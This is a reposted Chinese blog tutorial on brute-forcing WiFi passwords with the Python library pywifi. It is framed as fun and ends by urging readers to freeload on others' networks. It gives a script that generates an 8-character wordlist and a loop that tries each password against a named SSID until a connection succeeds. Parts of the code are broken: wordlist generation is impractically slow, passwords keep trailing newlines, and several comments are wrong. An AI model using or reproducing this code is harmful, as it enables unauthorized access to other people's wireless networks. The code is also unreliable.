当前位置:   article > 正文

用python破解wifi(蹭网的欢乐)_wifi密码本

wifi密码本

安装依赖包

  1. pip install -i https://mirrors.aliyun.com/pypi/simple/ pywifi
  2. pip install -i https://mirrors.aliyun.com/pypi/simple/ comtypes

接下来硬核破解,做密码本

  1. import itertools as its
  2. import time
  3. # 迭代器,输入你认为的密码组成
  4. words = "abcdefghijklmnopqrstuvwxyz123456789"
  5. # 生成密码本的位数,五位数,repeat=5
  6. r = its.product(words, repeat=8)
  7. # 保存在文件中,追加
  8. dic = open("password.txt", "w")
  9. # i是元组
  10. for i in r:
  11. time.sleep(1)
  12. # jion空格链接
  13. dic.write("".join(i))
  14. dic.write("".join("\n"))
  15. dic.close()
  16. print("密码本已生成")

开始破解,真正硬核

  1. import pywifi
  2. from pywifi import const
  3. import time
  4. # 测试连接,返回链接结果
  5. def wifi_connect(pwd):
  6. # 抓取网卡接口
  7. wifi = pywifi.PyWiFi()
  8. # 获取第一个无线网卡
  9. wireless_network = wifi.interfaces()[0]
  10. # 断开所有连接
  11. wireless_network.disconnect()
  12. # time.sleep(1)
  13. wifi_status = wireless_network.status()
  14. if wifi_status == const.IFACE_DISCONNECTED:
  15. # 创建WiFi连接文件
  16. wifi_file = pywifi.Profile()
  17. # 要连接WiFi的名称
  18. wifi_file.ssid = "lqz"
  19. # 网卡的开放状态
  20. wifi_file.auth = const.AUTH_ALG_OPEN
  21. # wifi加密算法,一般wifi加密算法为wps
  22. wifi_file.akm.append(const.AKM_TYPE_WPA2PSK)
  23. # 加密单元
  24. wifi_file.cipher = const.CIPHER_TYPE_CCMP
  25. # 调用密码
  26. wifi_file.key = pwd
  27. # 删除所有连接过的wifi文件
  28. wireless_network.remove_all_network_profiles()
  29. # 设定新的连接文件
  30. tep_profile = wireless_network.add_network_profile(wifi_file)
  31. wireless_network.connect(tep_profile)
  32. # wifi连接时间
  33. time.sleep(3)
  34. if wireless_network.status() == const.IFACE_CONNECTED:
  35. return True
  36. else:
  37. return False
  38. else:
  39. print("已有wifi连接")
  40. # 读取密码本
  41. def check_password():
  42. print("开始破解:")
  43. # 密码本路径
  44. path = "password.txt"
  45. # 打开文件
  46. file = open(path, "r")
  47. while True:
  48. try:
  49. # 一行一行读取
  50. pad = file.readline()
  51. bool = wifi_connect(pad)
  52. if bool:
  53. print("密码已破解: ", pad)
  54. file.close()
  55. print("WiFi已自动连接!!!")
  56. break
  57. else:
  58. # 跳出当前循环,进行下一次循环
  59. print("密码破解中....密码校对: ", pad)
  60. except:
  61. continue
  62. check_password()

快去蹭网吧

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/946226
推荐阅读
相关标签
  

闽ICP备14008679号